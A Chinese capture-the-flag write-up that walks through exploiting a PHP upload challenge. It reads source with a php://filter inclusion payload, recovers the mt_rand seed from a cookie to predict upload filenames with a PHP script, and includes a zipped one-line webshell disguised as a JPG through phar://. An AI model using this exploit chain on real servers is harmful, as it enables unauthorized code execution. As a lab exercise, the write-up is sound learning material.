题目考点:文件包含漏洞、php随机函数漏洞

    打开题目,可以发现是一个上传网站。尝试上传,发现做了很严格的验证,并且正常上传后,其没有文件路径回显。此时通过burp分析流量,可以发现存在可疑url。
    看到page=xxxx,猜测其为文件包含点。
    image.png
    尝试使用PHP伪协议,进行文件源码读取

    1. /?page=php://filter/convert.base64-encode/resource=upload

    image.png
    然后base64解码,得到源码,通过此方式,继续拿到index源码。分析其源码,可以发现,确实做了很严格的白名单过滤。至此,可以判断本题考点为,通过PHP伪协议,包含图片马,进而getshell。

    此时我们只需要考虑如何拿到文件路径即可。通过分析源码可知,其路径格式如下:

    1. $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];

    其中random_str函数为随机字符生成。但因其采用了不安全的随机数函数mt_rand,导致其随机数可以预测。

    在这里,我们可以通过源码看到,他随机生成了一个随机数种子,即$seed。然后将第一个生成的随机数与sessionid进行拼接,最近作为Cookie返回。

    1. $seed = rand(0,999999999);
    2. mt_srand($seed);
    3. $ss = mt_rand();
    4. $hash = md5(session_id() . $ss);
    5. setcookie('SESSI0N', $hash, time() + 3600);

    此时,我们可以通过拿到cookie中的随机数,进而爆破得到随机数种子。然后通过该种子。生成相同序列的随机数

    首先我们将我们的一句话木马1.php通过zip协议进行压缩。然后将压缩得到的1.zip重命名为1.jpg。
    上传1.jpg并进行抓包。发送到repeater中进行下一步调试。
    image.png
    将cookie改为 PHPSESSID=; ,然后发送上传包。这样,我们得到响应头中Cookie的SESSI0N字段即为随机数的md5值。通过在线工具对其进行解密。
    image.png

    然后我们通过工具 php_mt_seed 对其种子进行爆破。,通过分析响应头,可知当前题目环境为PHP/5.5.9,故我们可以只关注当前版本的随机数,如下图。
    image.png
    将爆破得到的种子,放到$arr列表中,生成文件名。挨个尝试即可。脚本如下。(请用5.2.1-7.0.x范围的PHP执行)

    1. <?php
    2. //
    3. $arr = array(487836232,1683084871,1683084871,2919913563,2975582418,3345237342,3345237342,3557327674,3557327674);
    4. foreach($arr as $a) {
    5. mt_srand($a);
    6. $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
    7. "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
    8. "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
    9. "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
    10. "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    11. $str = '';
    12. $ss = mt_rand(); // 这一步必须加上,否则与服务器端的随机值对应不上
    13. for ($i = 1; $i <= 32; ++$i) {
    14. $ch = mt_rand(0, count($set) - 1);
    15. $str .= $set[$ch];
    16. }
    17. echo 'http://220.249.52.133:30617/uP1O4Ds/' . $str . '_1.jpg' ."\n\r";
    18. }
    19. ?>

    image.png
    运气比较好,第一个就是。访问可以看到,是我上传的恶意zip文件。
    image.png
    接下来,我们通过phar伪协议,来进行文件包含。去读取我们上传的1.jpg里面的1.php

    phar://uP1O4Ds/89M3W1PX4UMnK2ImqCh1EJsVE3D38gdH_1.jpg/1
    
    # phar://zip压缩包路径/压缩包内路径
    # 这里因为后端代码为:include($_GET['page'].'.php');,所以我们写1就可以了。
    

    最终GetFlag。
    image.png